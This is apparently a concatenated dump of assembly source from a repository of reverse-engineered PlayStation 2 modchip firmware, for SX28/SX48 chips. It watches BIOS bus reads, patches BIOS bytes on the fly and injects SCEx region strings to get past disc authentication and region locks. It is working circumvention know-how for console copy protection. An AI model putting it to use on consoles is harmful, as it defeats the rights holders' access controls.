PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w sb IO_BIOS_OE jmp Label_0194 snb IO_BIOS_OE jmp Label_0195 decsz VAR_DC3 jmp Label_0194 mov w,#$0 mov IO_BIOS_DATA,w sb IO_BIOS_OE jmp Label_0196 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w sb IO_BIOS_OE jmp PS2LOGO_PATCH_19_20_JMP2 snb IO_BIOS_OE jmp DEV1_MODE_LOAD_LOOP decsz VAR_DC4 jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#$88 mov IO_BIOS_DATA,w sb IO_BIOS_OE jmp Label_0198 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w clr fsr setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0A00 ;; page A ps2logo ?? page4 sx28 ;; weird broken oe wait snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $0 retw $0 retw $0 retw $0 ;v12 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $31 retw $36 retw $18 retw $16 retw $91 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#$49 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#$44 mov VAR_DC3,w retw $d0 retw $80 mov w,#$4b mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;; ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 ;; retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#$7f mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 ;; mov w,#$6b mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;; retw $af retw $5 retw $4 retw $8 ;;V14DRV ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#$72 mov VAR_DC1,w mov VAR_DC2,w clr w mov VAR_DC3,w mov w,#$20 mov fsr,w ;;PS2_PS2LOGO ;;PS2_PS2LOGO:loopa ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT ;; clr fsr mov w,#$6b mov VAR_DC2,w mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w snb V12_FLAG jmp PS1_MODE_START ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V10_FLAG jmp Label_0183 mov w,#$1e mov VAR_PSX_TEMP,w Label_0183 ;; mov w,#$57 mov VAR_DC2,w mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$37 mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;; ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$27 mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

112,598

sx48WIP/h2o-sx48-port-workingallbutps1imports-keepasnewbase.s

;******************************************************************************** ; final-48.sxh hash 5E421B821D54EA944B8696453CB5D762 ;******************************************************************************** device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ;; double ; for needs attension for mistakes or areas to change to function alike h2o or just general check here marker ;DEFINE ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr 14A04391100FA5B49BFE833D6ACF4C14 ;;now implemented, but checksums below not updated from sx28. none tested. ;only f=tr tested on v3pal ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;fsr convert ; 15h-1f sx28 addresses + b due to sx48 20h start ; 30h+ addresses - 5 due to 15h-20h=b b-10h=5 due to or 10h for map :) ;;funny enough sx48 has page 1-f free, thought was only bank 2-f due to disassemble fsr starts was 20. the old implement would have worked with or. leave done now. ;;todo fix 75k import ps1drv. everything else works but import ps1 games, prehaps some extra timing due to more pages ??? ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. X_FLAG = VAR_SWITCH.2 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media JAP_V8 = VAR_SWITCH.3 DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models ;;V0_FLAG = VAR_SWITCH.6 ;; ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector ;; look at if use extra pages reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- DELAY100m ;-------------------------------------------------------------------------------- mov w,#$64 mov VAR_DC1,w RTCC_SET_BIT mov w,#$3d mov rtcc,w RTCC_CHECK mov w,rtcc sb z jmp RTCC_CHECK decsz VAR_DC1 jmp RTCC_SET_BIT retp ;-------------------------------------------------------------------------------- SET_INTRPT ;-------------------------------------------------------------------------------- mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w snb IO_BIOS_CS jmp :loop2 setb SCEX_FLAG :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb USA_FLAG jmp usa snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION ; nop ;; extra sx28 mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ; nop ;; extra sx28 mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#$32 mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff mov !IO_BIOS_DATA,w ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#$a mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST clrb EJ_FLAG setb X_FLAG clrb V12LOGO_FLAG page $0200 jmp PS2_MODE_START ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0a00 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#$3b;3a ;; one bit inc in h2o original 3a sx48. mov rtcc,w ;ld_del1 